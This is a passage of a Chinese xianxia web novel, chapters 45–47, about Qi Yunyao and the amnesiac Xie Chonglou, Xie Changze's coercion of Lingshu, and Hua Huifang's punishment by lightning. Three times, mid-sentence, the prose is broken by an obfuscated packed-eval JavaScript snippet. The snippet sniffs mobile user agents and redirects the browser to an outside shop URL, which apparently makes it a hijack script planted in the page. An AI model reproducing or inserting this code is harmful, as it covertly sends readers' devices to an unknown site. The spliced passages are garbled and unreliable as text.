话音落下的瞬间,两人皆是一愣。 祁云耀满脸的不敢置信,眼睛微微睁大,一股难以言喻的欣喜瞬间涌上心头,顺着四肢百骸蔓延开来。他原本只是照例随口一问,从未想过,即使在谢重楼失忆的情况下,也能得到这样毫不犹豫的回答。 而谢重楼,却皱起了眉头,脸上带着几分恍惚,满脸疑惑地追问:“不对,你刚才说的什么?我好像没听清楚。” “我不告诉你!” 祁云耀心里乐开了花,嘴上却故意不说,轻轻摆了摆手。下一秒,他猛地张开双臂,一把将谢重楼紧紧抱在怀里,脑袋搁在他的肩窝里,忍不住嘻嘻嘻地痴笑起来。 两人就这么黏黏糊糊地,慢慢挪上了东峰小院的台阶,气氛甜蜜。 可刚一踏入院门,祁云耀脸上的笑意便瞬间僵住,心里恍然觉得不对劲—— 太安静了,安静得有些过分。 主屋的灯火是黑的,门也关上了。按理说,灵枢这个时辰还不会睡,更何况还有花秽芳寸步不离地黏着他,他们应该都还没睡才对。 此刻的东峰小院,静得几乎像是没人居住一般,连偶然从远处传来的虫鸣都格外清晰,静得透着一股说不出的诡异。 主屋的门似乎若隐若现的透着一道细小的黑色缝隙,就像是有人躲在里面,刻意的屏息凝神,等待着什么东西踏入圈套。 祁云耀的脚步猛地顿住,下意识收紧了抱着谢重楼的手,眼神警惕地扫视着院内的一切。 可谢重楼却丝毫没有察觉异样,脚步不停,径直朝着主屋的方向走去,显然是急着回去跟灵枢说一声。 他连忙伸手将人拉住,压低声音,语气凝重:“等等,别进去!太安静了,不对劲!” 谢重楼却转过脸,皱着眉头,满脸认真地说道:“有声音啊——” 几乎是他话音落下的瞬间,主屋之内,传来一声几不可察的“当啷”声,像是什么东西掉在了地上,微弱却清晰,打破了小院的死寂。 谢重楼更加确定自己的判断,脚步又要往前迈,急着进去查看。 可祁云耀心里的诡异感愈发强烈,一股寒意悄悄爬上心头,他死死拽着谢重楼的手腕,不肯让他再往前一步,眼神里满是警惕。 “没事的!”谢重楼轻轻挣了挣,声音故意压低,却带着十足的确信,不等祁云耀继续质疑,便又解释道,“师傅和花长老都醒着呢!他们现在应该在‘睡觉’!每个月他们都要一起‘睡觉’的,每次都会喊我去谷口扫地,但是今天你和我一起扫,我们来得很快,不然我要到白天才能回来呢!” 祁云耀脸色瞬间一变,还不等他仔细琢磨谢重楼口中的“睡觉”究竟是怎么一回事,主屋的门忽然传出轻微的“吱呀”声,紧接着像是有什么东西撞在了门上,门板微微一颤,随后里面便飘出了细细密密,含糊不清的声响。 就像是压抑了许久的什么东西终于是忍受不住,痛苦地流泻出来。混杂着某种不可言说的,带着暧昧与缠绵的动静,在二人都来不及躲避的情况下,强行地、毫不留情地钻入他们的耳中。 祁云耀轰的一下,脸颊瞬间涨得通红,头顶都冒着热气,眼睛死死盯着地面,压根不敢往主屋那边瞟一眼,连余光都不敢,像是生怕摇摇欲坠的门板脆弱的瘫倒在地,露出里面不可言说的场景。 现在一切风吹草动传进他耳朵,都像是一群小人举着棒槌在疯狂殴打他的脆弱神经。 而谢重楼却丝毫不觉,听见里面动静,还大咧咧道:“你听,师傅他们就在门边呢!我们——” 祁云耀眼疾手快捂住谢重楼的嘴,几乎是用尽了全部的力气,他浑身颤抖,皮肤烫得吓人。几乎是用哀求的语气道:“你先……先别说话……” 此刻,他的脑中一片嗡鸣,像是有无数个自己在疯狂尖叫,混乱不堪。 他几乎是下意识地,拽着还一脸茫然的谢重楼,像是躲避洪水猛兽一般,转身就冲出了东峰小院,脚步急切,一路狂奔,只想尽快逃离这个地方,最好是能有个地缝让他钻进去,或者说能够有人给他一棒槌让他忘记今晚的所见所闻。 两人一口气冲到了西峰,直到祁云耀反手关上房门,后背重重抵在冰冷的门板上,才终于卸下浑身的力气,大口大口地喘出一口气,胸口剧烈起伏着,呼吸急促。 他顺着门板缓缓滑坐下去,瘫坐在地上,后背紧紧贴着门板,心脏还在狂跳不止,咚咚的声响清晰可闻,仿佛要冲破束缚。 脸颊依旧烫得吓人,灼热的温度顺着皮肤蔓延至耳根,连脑子都晕乎乎的,像是被烧得烂掉了。可即便如此,刚才在东峰小院听到的那点不可描述的声响,还是像魔咒一般,在他耳边挥之不去,反复回响。 谢重楼却像是丝毫没有耗费力气,连气都没喘一下,只是轻轻蹲在祁云耀面前,歪着脑袋,一双干净澄澈的眼睛一眨不眨地盯着他,眼神里写满了纯粹的困惑。 “为什么要跑?”他语气不解,淡声问道,“师傅和花长老只是在‘睡觉’啊,里面很安全的,我们不用跑的。” 祁云耀:…… 他仿佛被谢重楼那双毫无杂质、始终干净澄澈的眼睛刺到了,到了嘴边的话忽然就堵在了喉咙里,一时竟不知道该怎么解释。这些事,他实在没办法直接说出口,他怕自己说错了,或者是让他误会了,就像很久之前那样,他想当然的说了,谢重楼却认认真真地听了,带着一知半解,去误导另外的人。 谢重楼见他不说话,只是盯着他泛红的脸颊,又凑近了几分,语气愈发关切:“你脸好红,是不是生病了?” 说着,他伸出温热的手,径直探向祁云耀的脸颊,想要试试他的温度。 指尖触碰到皮肤的瞬间,祁云耀浑身猛地一颤,像是被电流击中一般。一股酥麻的触感从尾椎骨窜至头顶,顺着四肢百骸蔓延开来,电得他浑身发麻。 他不受控制地打了个哆嗦,谢重楼见状,连忙将手收了回去,语气里的关切更甚,双手下意识下移,轻轻抓住了他的双肩,急切地问道: “怎么了?” 两人此刻贴得极近,近到能感受到彼此的呼吸,温热的气息相互纠缠,萦绕在一起。 窗外的月光透过窗棂,洒在两人身上,映得祁云耀的脸愈发涨红,连眼眶都蒙上了一层羞赧的水汽,眼神躲闪,不敢直视谢重楼的目光。 而反观谢重楼,面色依旧如常,眼神里还是那种惯常的茫然与关切,像是丝毫没有察觉到此刻暧昧又微妙的氛围,只是在单纯地担心祁云耀的身体。 莫名的,祁云耀心里忽然又生出些不快,混杂着几分羞恼与委屈,在心底悄悄翻涌。 为什么他什么都不知道!什么都不懂,什么都不会,可偏偏会在最关键的时候随心而行,然后每次出丑、狼狈不堪的,都是他自己! 凭什么啊! 他咬着唇,别过脸,眼睛却没离开,舍不得地粘在人脸上,心底的酸涩与不甘,一点点蔓延开来,连带着脸颊的灼热,都变得有些刺痛。 我要带着他一起出丑!我们要一起狼狈!我们是一起的,我能教他……我会教他的…… 谢重楼只看见眼前人的眼睛忽的一亮,长长的眼睫轻轻抬起,目光一瞬不瞬地锁着自己,那眼神里藏着他看不懂的情愫,让他心头一紧。 莫名的,一股强烈的口渴感涌上喉咙,口腔里疯狂分泌着唾液,他不由得下意识咽了口口水,喉结滚动了一下。 下一秒,某种极端的、强烈的不知名情绪,瞬间侵占了他的大脑,像是有无数个声音在他耳边猛烈地叫嚣、嘶喊: 随心而行吧,做你认为对的,做你想要做的事情。 咬碎他,将他吃进肚子里。 这样你们就密不可分了,你们就会一直在一起了! 你不是想和他一直待在一起吗?不是喜欢他的一切吗? 为什么要压抑本性? 杀了他!杀了他!杀了他! “杀……”谢重楼的嘴唇动了动,刚吐出一个字节,就只觉眼前忽的天旋地转,浑身的力气像是被瞬间抽干,大脑一片混沌。 不过瞬息之间,他们两个人的位置便被彻底对调。 他还没反应过来,祁云耀的手却不知何时已经扣住了他的腰间,力道不算重,却带着不容挣脱的力气。 而祁云耀眼底的迷茫与羞赧早已褪去,眼底闪过一丝深邃的暗色,快得让人无法捕捉。 谢重楼的后背重重贴着冰冷的门板,退无可退,无处可躲,而祁云耀却步步紧逼,一点点靠得更近,直至两人的鼻尖紧紧抵在一起,温热的呼吸彻底交织,连彼此的心跳都清晰可闻。 他看见,双泛红的眼睛忽然弯了起来,弯出一抹狡黠又委屈的笑。 祁云耀靠得极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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头发被轻轻攥着,不让他有丝毫躲闪的余地;而后背本就抵着冰冷的门板,退无可退,双手更是瘫软无力,只能下意识地揪住祁云耀的衣摆,将那团布料揉得皱巴巴、稀烂不堪,却依旧无法挣脱这份强势。 他心底忽然生出一股后知后觉的害怕,混杂着一丝慌乱,顺着血液蔓延至四肢百骸。大脑因为缺氧而疯狂叫嚣着,呼吸也变得愈发急促,可他却不想躲了—— 躲不掉的。 祁云耀是喜欢他的,而他,也同样喜欢着祁云耀。既然喜欢,为什么要躲? 直到他即将昏迷的最后一刻,嘴唇才分离开。 谢重楼大口大口地喘着气,冰冷的空气猛地倒灌入肺腑,刺激得他眼角溢出晶莹的泪花。 “不喜欢你可以躲开,” 祁云耀的声音低沉又温柔,像是在诉说某种幼稚却无比认真的誓言, “不躲开,就是喜欢。喜欢的话,我们就会在一起一辈子。” 嘴唇再一次贴了上来。 在那种即将窒息、大脑一片空白的混沌之中,谢重楼体内忽然涌起一股莫名的力气,像是挣脱了某种束缚,猛地一推,将压在他身上的人推开。祁云耀毫无防备,被他推得踉跄着摔倒在地。 紧接着,像是本能反应一般,谢重楼下意识地朝着袭击自己的人攻了过去。 等他再次回过神来的时候,自己已经骑在了祁云耀的身上,双手紧紧掐着他的脖颈。 两个人一上一下,就像是他们一直以来的关系。 不过祁云耀没有丝毫的反抗,任由他掐着自己的脖颈,甚至微微抬手,将手指轻轻包裹在谢重楼的手背两侧,像是极度不舍的,最后抱着什么无比珍贵的宝物。 他连忙将手松开,手掌支撑在祁云耀散乱的发间。嘴唇哆嗦着慌张地想说些什么,想解释些什么。却似乎是因为麻痒,什么都说不出来。 忽然,他看见祁云耀眼眶里积攒的东西决堤了,顺着皮肤滚下。眼泪砸在手背,明明是温热的液体,却是烫得皮肉痉挛——那不是泪了,是滚沸的岩浆,一落下便烧穿肌理,一路灼烧、一路腐蚀,连带着五脏六腑都被点成一片火海。 胸腔被搅乱碾毁成废墟,痛到极致,只剩满脑子的天旋地转。 好可怕—— 谢重楼想:这个人的一滴眼泪就能把他整个人都烫化了。 几乎是下意识的,他不想再被这种眼泪裹挟淹没了,他要被淹死在里面了。 他俯下身,无比郑重地再次覆在了那已经微微发肿的唇上…… 46. 困兽 接下来的一切都像是无师自通,水到渠成。好像人天生就会似的,两个人缠绵悱恻,虽然祁云耀在七荤八素的情欲里也短暂地清明过一瞬,但那几乎是无济于事的。 直到抵达最后一步时,他那隐隐作痛的良心才提醒着他关于花秽芳那句“四月之内不能双修”的叮嘱。 祁云耀只能含恨将谢重楼抱在怀里,头埋在人的肩窝,两人粘粘糊糊躺在床上。 最后是怎么睡着的他也不大记得了,就记得两个人就像是从来没有分开过似的,抱在一起就缓缓睡着了。 睡着前他还在想:会不会后来的一切都是假的,谢重楼其实为了他一直呆在西门没走过,十年只是一场噩梦,噩梦醒来,什么都会恢复原样。 翌日清晨,祁云耀从混沌中醒来,原本想再粘一粘谢重楼,如果能再收获一个谢重楼主动的吻就更好啦! 结果手在床上摸索半晌,却发现身边人已经消失了。 他猛地翻身坐起,却见身边人真的不知什么时候已经离开了,被子被掀起来一角,里面残留的属于谢重楼的体温早已经消失。 祁云耀原本还愣在原地,旋即他脑子一转,顿时想起来了今天是什么日子,匆忙穿好衣物就冲出了卧室,往外跑。 今天是灵枢会出谷的日子! 谢重楼是又被灵枢带走了! 他刚转出拐角,就迎面与一人撞在一起,他冲的太急,那人又是毫无防备的,两个人滚作一团从走廊上跌了下去。 直到闻到一股熟悉的味道,祁云耀才回过神,被他扑下走廊的正是谢重楼。 谢重楼抱着他,生怕他磕碰,尽管被压在身下也毫不在意,还紧张兮兮的搂着人脑袋,问道:“你没被撞到吧!” 说着手指在祁云耀的脑袋上摸来摸去,像是在寻找着一切可能被磕撞到的地方。 祁云耀却是一动不动,就那么直勾勾的盯着他,像是想说的东西太多太多了,全部都急着想要挤出喉咙,谁也不让谁,所以谁也出不来,全部卡在喉咙间,难受得他眼眶一红,却又皱着眉什么都不说。 “我……我撞到你了吗?” 谢重楼见状更加慌乱,寻找伤口的动作更加轻柔,他虽是木着一张脸,眼睛里却是实打实的担忧。 忽的,他闻到头上作乱的手隐隐约约透露出一股极度细微、极度微弱的血腥气,瞬间那股堵在口腔里的气轰的一声全部散开,只剩下满腔怒火。 祁云耀先是猛地捉住那只手腕,然后小心翼翼的反转开。 果然,谢重楼手腕上的伤口又被划开了。只是这次他似乎很急切,包扎都没有包扎好,只是简单止了血,用清水彻底清洗后,就只缠着绷带赶来了。刚才被他这么一撞,绷带已经有些散开,露出被血液染红的绷带以及还没有愈合的伤口。 猛地一瞬,祁云耀心里像是被撕裂开一般难受。 他看着面前担忧他的谢重楼,心里说不清究竟是什么滋味—— 是应该先质问吗?像小时候那样随意发脾气,质问他为什么又不等自己就走了!还是应该难过,掉着眼泪哭兮兮地问他:你怎么又受伤了!你的伤是哪里来的!你必须全部都告诉我! 但这些似乎都不是他想要说的,他究竟是想做什么,连自己都说不清楚。咽喉处又像是被一团从胸腔里烧出来的火堵住,火辣辣的,噎得他难受极了。 谢重楼瞬间慌了神,连忙松开自己的手,手掌拖着祁云耀的脸,嘴唇动了动,想说些什么,想解释自己不是故意的,想道歉,可话到嘴边,却又堵在了喉咙里,一个字也说不出来。 “你先留在这里等我,好吗?” 最终还是祁云耀先开了口,他的声音沙哑,眼睛红得吓人,凌乱的发丝贴在汗湿的额前,却还是强撑着,扯出一个极为勉强的笑容。 他怕谢重楼不肯应,又重复了一遍,语气里裹着不易察觉的恳求:“你先等等我,我出去一趟,就待在这里别乱跑,等我回来,好吗?” 谢重楼没有立刻回应,只是黑黝黝的眼神怔怔地锁着他的眼睛,又看不懂别人的眼神了。几息后,他才缓缓抬起手,指尖轻轻抚上祁云耀泛红的眼尾,动作轻柔,想把那片被眼睛里浸出来的红拭干净,可反复摩挲了几次,那片红依旧未褪。 最后,他的声音轻轻的,低声应道:“好,我等着你,你别哭了。” “好。” 祁云耀应得仓促,指尖猛地松开他的袖口,几乎是逃跑似的从地上爬起来,头也不回地往院外冲,生怕慢一步,便会忍不住折返,将所有事都抛在脑后。可刚冲到院门口,脚步却骤然顿住——门槛上,坐着个小小的身影。 花秽芳又变回了少年模样,却偏偏摆着一副老鳏夫般的惆怅神情,下巴抵着膝盖,胳膊圈着双腿,恰好拦在院门侧边,断了他的去路。 两人四目相对,不过一瞬,便从彼此的眼睛里读出了相同的神色,祁云耀的脚步彻底停住,呼吸一顿。 “你去找灵枢吗?” 花秽芳头靠在冰凉的门框上,眼皮耷拉着,语气平淡,像是早算准了他的去路。 “嗯。” 祁云耀言简意赅,转而看向他,沉声问:“你不去吗?” “我得留下来守着药谷。”花秽芳的声音里裹着几分无奈的惆怅,抬眼扫了山下的方向,“药谷不能再出事了。” “那我走了。” 祁云耀不再多问,抬脚便要跨过门槛,循着灵枢离开的方向追去。可刚跑出去两步,衣袖便被人轻轻扯住,花秽芳的声音从身后传来,打断了他的步伐。 “带上个东西吧——” 距离药王谷百里的小镇上。 两道容貌几乎分毫不差的身影并肩踏进临街的茶肆,青衫曳地,眉眼间的冷冽如出一辙,惹得店内客人纷纷侧目。 店小二熟稔地上前招呼,弓着腰端着热茶,将二人送进二楼的一间僻静的小包房,临退出去时,还笑眯眯地搭话: “灵谷主,您弟弟跟您长得可真像!” 话音落,木门被贴心带上,房内瞬间陷入死寂。 门一合,灵枢便没了在外的端方自持,身子一歪,懒洋洋地斜靠向座椅,动作猝不及防,惊得身侧侍立的灵阿一一激灵,忙伸手去扶。 “大人!” 灵阿一慌忙将自己的胳膊垫在灵枢身侧,想做个靠枕,却被他嫌恶地一把推开。 “你更硬!去找个软垫子来。”灵枢眉峰皱起,语气满是不耐,半点没顾及对方。 灵阿一苦着脸应下,转身去找垫子,灵枢便独自支着胳膊,懒懒倚靠在桌边,眉眼间凝着几分倦意。 昨夜花秽芳像是憋了满身的火气,闹得没个停歇,折腾到天明才罢手,是以他此刻浑身酸软,原本是走都走不了路,最后只能叫灵阿一路搀扶着,才勉强到小镇。 “哈——” 一声轻浅的叹息从喉间溢出,他眉心的褶皱又深了几分,旋即,一只温热的手从身后绕过来,轻轻覆上他的眉心,指腹温柔地碾着,想将那抹郁结的褶皱揉平。 紧接着,一道清淡温润的声音自身后缓缓传来,带着温柔劝诫:“别皱眉——” “呜!” 恰在此时,灵阿一抱着软垫回来,撞见这一幕,整个人僵在原地,怀里的垫子差点摔落在地,眼睛滴溜溜转,愣是不知道往哪里放,最后挤出来一张委屈的哭脸,可怜巴巴地看向灵枢,小声求助:“大人~” 灵枢像是被恶心到一般,一把拍开身后人的手,身体下意识地往前倾了倾,像是极度嫌恶这突如其来的接触。 他抬手招了招灵阿一,语气依旧冰冷:“过来,把垫子垫上。” 待软垫稳稳垫在腰后,他才终于坐得舒服了些,头也不回地撂下一句:“别碰我。” 身后的人也不恼,只是缓步绕到他身侧,拉开对面的椅子从容坐下,衣料轻响,温文尔雅。 是谢长泽。 灵阿一站在灵枢身侧,梗着脖子怒目圆瞪地盯着谢长泽,那双和灵枢如出一辙的眼睛里,满是敌意,像是恨不得将眼前这人生吞活剥,替自家大人出气。 谢长泽见状,低低笑了一声,抬眼饶有兴致地打量着这个人偶,末了慢悠悠开口评价:“按照他的习惯,身边的人偶,是不是还配着和他长得一模一样的另一个?” “谁知道呢。”灵枢端起桌上的茶水抿了一口,语气漫不经心,半点没有要搭话的意思,抬手又朝灵阿一招了招,“你出去。” 灵阿一哪里肯走,连忙蹲在灵枢脚边,拽着他的衣摆哭唧唧地哀求,一双眼睛红通通的。最后被灵枢一记冷冽的眼刀扫过,吓得浑身一哆嗦,支支吾吾地松开手,连滚带爬地出了屋子,蹲在木门边,捂着嘴咿咿呀呀地掉眼泪,却又不敢哭出声。 房内只剩两人,谢长泽指尖敲了敲桌面,唇角噙着笑意,语气带着几分打趣:“好奇妙的感觉,看着这样一个和自己长得一模一样的人,做出这种表情,你就不觉得很奇怪吗?” 灵枢不接话,只从衣袖里掏出个药瓶递过去。谢长泽却不急着接,反倒抬手想去碰他的手,指尖堪堪要触到那瘦骨嶙峋的腕骨时,语气里满是不赞同:“怎么瘦了这么多?” 他依旧缄默,手腕倏地往回缩,药瓶孤零零立在桌上,冷着眼看过去。 谢长泽见状也收回手,目光却自始至终粘在灵枢脸上,末了唇角勾出一抹轻佻的笑:“还好脸上还有点肉,本来就不算太像,要是瘦得脱了形, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312593|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可就更不像了。” 话音落,他手又伸了过来,指腹带着温热的触感,竟想去碰灵枢稍显气色的脸颊。 灵枢偏头躲得极快,眉峰陡然一挑,嘴角扯出一抹讥讽的扬弧,语气满是挑衅:“既然不像,又何必惦记?就不怕你心上人知道了会难过?” “是他先背叛我的!”谢长泽莫名陡然情绪激动,眼底翻涌着戾气,可这股火气还没来得及发出来,就被灵枢轻飘飘的话堵了回去。 “关我什么事?”灵枢语气傲慢,半点没将他的情绪放在眼里,“我没空听你和旁人的烂账,血给你了,我先回去了。” 说罢撑着桌沿就要起身,手腕却突然被谢长泽从身后攥住。他只用了轻微一点力气,灵枢的身体便瞬间失了力,“咚”的一声重重摔回座椅,后背撞在椅背上,震得他眼前发黑、眼冒金星,疼得倒抽一口冷气。 “真的很像啊。” 谢长泽俯身压过来,双手撑在灵枢身侧的扶手上,将人完完全全笼在自己的阴影里,目光贪婪又炽热,在他脸上一寸寸逡巡,像是要将这张脸刻进骨子里,“好奇怪,你长的明明不算像他,可我偏觉得,你们哪里都像。” “滚!” 灵枢怒极,抬脚就踹。谢长泽早有防备,在即将被击中的一瞬抽身退开,立在原地垂眸思索,半晌竟笑着得出个结论: “难道因为,你们都是药王谷的?” 灵枢气得胸口剧烈起伏,撑着扶手就要起身,可刚才那一撞牵扯了浑身的酸痛,一时半刻站不起身,只能冷着脸坐在椅上,整张脸都冷了下来。 “过几日就是谢青的忌日,你要去青云剑庄看看她吗?”谢长泽话锋陡然一转,目光依旧钉死在他脸上,半点不肯移开,“毕竟也算是曾经的故友,十年——不,是十一年没见了,你就不想去看看?” “故友而已,谁没几个死了的故友。”灵枢扯着唇角冷笑,语气淡漠。 “好狠心啊——”谢长泽淡淡评价,指尖轻点桌面,“你这点也和他好像。但是还是去看看吧,这么多年,也就只有风幕卿一个人守着她的墓。你不是最讨厌他吗?我可以帮你除掉他。” “哈——”灵枢扯出一声嗤笑,终于抬眼看向他,眼底满是洞悉,反问道:“支开我,是又想屠谷?” “怎么会呢?”谢长泽看着他,目光灼灼,全然不顾灵枢眼中的嫌弃,伸手捉住他那只剩层薄皮的手腕,竟郑而重之的捧在掌心,指腹轻轻摩挲着,“如果当时知道药王谷有你这么个美人在,我当初定然会留你师傅全尸。” 灵枢嫌恶地用力抽回手,表情狰狞。 没等他发作,谢长泽忽然俯身,伸手强硬地将他从椅子上托起来,一手架着他的腋下,稍一用力便将人揽进怀中。 他低头看着怀中人嫌恶的脸,嬉笑道:“先熟悉一下吧,毕竟以后要一起生活呢。我可以不介意,你被花秽芳用过。走吧,陪我去看看老朋友。” 说着全然不顾灵枢的挣扎怒骂,抱着他就往门外走。路过门边时,正好一脚踹在那早已不哭、正蹲在地上发呆的灵阿一屁股上,青年被踹得踉跄着摔在地上,刚要发作,又被谢长泽伸手揪着后领提了起来。 他低头瞥了眼怀里的灵枢,又看了看手里的灵阿一,笑了笑:“你也去吧,人多些,路上还热闹。” 话音落,便抱着灵枢、提着灵阿一,径直往二楼楼梯口走去,脚步沉稳,任凭怀中如何挣扎,也半点不肯松手,一路将两人带下了楼。 …… 再往后的东西,祁云耀便看不清了。 他蹲在离茶肆数十米外的老树上,靠枝桠遮着大半身形,目光灼灼地透过二楼那扇半开的小窗,死死锁着屋内的动静。 按理来说,隔了这么远的距离,楼内的言语半句他都该是听不清的,但他身侧的树杈上,正蹲坐着个花阿一,此刻正脸涨得通红,目光愤愤地瞪着那扇窗,腮帮子鼓成一团,显然是因为灵阿一被那样对待气得不轻。 花秽芳今日才同他透底,他造的这些人偶里,融入了某对半仙的仙缘,能借着人偶实现共感,不过距离不能太远。此刻,便是借着灵阿一的感官,才将楼内的字字句句,都清晰地落进耳中。 谢长泽的轻佻,灵枢的冷硬,还有那一句句牵扯着谢青、屠谷、风幕卿的话,一下下扎进他心里。先前本就怒烧着的火气,此刻混着震惊与说不清的沉郁,在胸腔里翻涌、扭曲,越烧越烈,直至将他轰得浑身发晕。 他再没心思继续窥看,也顾不上细想其中的纠葛,只反手攥住身侧还在气鼓鼓的花阿一,手指用力,带着人从树上一跃而下。脚下连顿都未顿,循着来时的路,径直往药王谷的方向疾走,背影绷得笔直,周身的戾气几乎要溢出来。 47. 还童 谢重楼正坐在廊下发呆。 他垂眸盯着手腕处重新包扎好的伤口,另一只手的指尖轻轻抚在上面,一下下摩挲着绷带的纹路,黑黝黝的眼睛里蒙着一层茫然,心里乱糟糟的不知道在想什么。 旋即他微微抬腕,将伤口凑到鼻尖下仔细嗅了嗅,鼻尖耸动着——没有想象中难闻的味道,只有一点点淡得几乎要散掉的血腥味。 那……祁云耀是讨厌血腥味,才急着走的吗?还是有别的什么原因? 谢重楼皱着眉,想了半天也想不明白,心里莫名漫上几分惆怅。祁云耀让他在这里等,他便乖乖等,可到底要等什么,为什么要等,他想不明白。但那人说过让他等,那就等吧。 片刻后,他像是听见了什么细微的声响,倏地站起身,脚步轻快地钻进屋内,再出来时,手里多了两把剑。 诉心斜倚在身侧,剑刃泛着淡淡的流光,断不义被他稳稳握在掌心,他垂眸,时而看着断不义,时而看着诉心,偶尔会轻轻“嗯嗯”两声,像是在回应着剑中传来的话语。 “我想知道了。”他说。 下一刻剑音消失,耳尖微动,捕捉到院外传来的急促脚步声。 谢重楼猛地抬头,便见祁云耀风风火火地冲进院门,衣摆被风吹得翻飞,脸上还带着未散的急切,几步便冲到他面前。原本是势急匆匆的模样,可目光扫过他手腕上的绷带时,动作骤然一僵,方才的急切尽数敛去,转而伸出手,轻轻抓握住他的小臂,小心翼翼地把他从廊上拉了起来。 “走。” 祁云耀言简意赅,声音沉郁,伸手便将立在廊下的诉心背上,旋即将断不义一把塞到谢重楼怀里,两人十指紧握就往外走。 两人穿过婉转回廊,一路沉默无言。祁云耀心头翻涌着刚才听闻的一切,脚步疾快,压根不欲在此地多作停留。谢重楼则垂着眸,指尖无意识摩挲着掌心的断不义剑柄,思忖着方才的疑惑,最后脚步未停,带着几分茫然:“我们要去哪?” 未等祁云耀应声,前方廊口忽然传来一阵凝滞的气息,两人抬眼,竟迎面撞上了黑压压的十几个人偶。 花秽芳与灵枢的人偶尽数堵在回廊中央,往日里或鲜活或娇憨的模样全然不见,只剩一双双空洞的眼,死气沉沉地盯着二人,面无表情,周身漫着冰冷的死寂。 祁云耀心头一沉,当即脚步一转,想带着谢重楼从侧边庭院绕路,可刚动步,脚步便再次狠狠顿住。 庭院中央,一道熟悉的身影立在那里。 花秽芳又变回了成年男人的体型,玄衣曳地,孤身一人站在院中,周身却凝着千军万马般的威势,压得人喘不过气。 “要去哪呢?” 他唇角勾着笑,声音轻飘飘的。“离四个月还有两天,把这两天待满再走吧。” 他脸上的笑意渐浓,唇角咧开,那口细密尖锐的牙齿露了出来,冷白的牙尖在天光下泛着寒芒,刺得祁云耀后背发毛。 他强压着心头的慌乱与急切,攥紧谢重楼的手,沉声道:“谢长泽要来了。” “没那么快。”花秽芳不知为何,语气十分笃定,他往前踱了两步,目光扫过二人相握的手,“再呆几天吧,不是早就说好的吗?再说了,你走了,灵枢怎么办?” 说着,他缓缓靠近回廊,周身的气息愈发低沉,像酝酿着风雨,压得回廊里的空气都凝住了。 “灵枢骗了你!他和谢长泽有勾结!”祁云耀拉着不明就里的谢重楼往后退了几步,脊背绷得笔直。他心里清楚花秽芳受天雷禁制,没法直接出手伤人,却也不敢保证,被逼到极致的他会不会突然发疯,做出不计后果的事。 “勾结?”花秽芳像是听到了什么笑话,低笑一声,语气陡然变得激动,“灵枢也是受害者!他是被那坏人哄骗了!所以我要救他!你得帮我啊!” 他越靠越近,直至立在廊下,玄色的衣摆部分垂落廊上木板,却没有踏上回廊半步。目光忽然一瞥祁云耀身侧的谢重楼,脸上骤然勾起一抹坏笑,语气轻飘飘却带着刺骨的寒意:“再说了,你现在走的话,他会死掉。” 祁云耀眉头猛地拧紧,手上握着谢重楼的力道又紧了几分,沉声追问:“为什么?” “我没和你说过吗?”花秽芳笑着开口,话音落下的一瞬间,天际忽然传来一声轰隆嗡鸣,闷雷滚过,一道刺目的紫光雷电轰然劈下,直直打在花秽芳的后背上!雷光炸开,他的玄衣被灼出焦痕,却依旧站得笔直,脸上笑意未减: “有人在用半仙血干坏事,被抽了血的半仙,结果你不是也看见了吗?” 说话间,三道紫雷接连劈下,紫光漫天,刺得祁云耀睁不开眼,耳边尽是雷声的轰鸣,身上也沾了雷光的余温。可花秽芳的话,却像一道淬了毒的诅咒,狠狠扎进他的脑子里,搅处倒海般的惊惧。 被抽血的半仙—— 他忽然想起青云剑庄的地牢,那些被关着的半仙,尽是孩童的身形,更有甚者,连形体都保不住,化为一滩金水,在石牢里缓缓流淌。 对啊!为什么里面关着的全部都是孩子!为什么谢重楼会莫名其妙的变小了! 这个认知像一道惊雷,劈得祁云耀浑身冰凉,攥着谢重楼的手,竟控制不住地微微发颤。 雷光散尽,灼人的气浪渐渐褪去,花秽芳再也撑不住,下半身软塌塌地趴在青石板上,上半身勉强攀着廊沿,整个人以一种扭曲的姿态瘫着。他的后背被天雷劈得焦黑一片,原本如银缎般的长发断了大半,发梢焦糊卷曲,还冒着淡淡的白烟,满头满脸溅着血,倒下时,身体剐蹭廊柱,被刮下一大块皮肉,砸出一滩血花。 “嗬嗬……” 即便狼狈至此,他还是拼着最后一丝力气抬起头,半张脸焦黑见骨,狰狞可怖,另一半却依旧是往日的模样,两相映衬,说不出的瘆人。 他眼神癫狂,嘴角淌着血沫,不死心地盯着祁云耀,声音嘶哑:“这个世界上……只有我能救他!” 话音落下的一瞬,天际又是一道紫雷轰然劈下,直直砸在他尚且完好的那半边头上。 这一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323002|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,花秽芳被劈得浑身一颤,彻底没了动静,整个人软成一滩,毫无声息。 祁云耀还陷在他那句“只有我能救他”里,眼神惊恐地望着地上的花秽芳,心脏像被一只手死死攥住,连呼吸都带着滞涩。 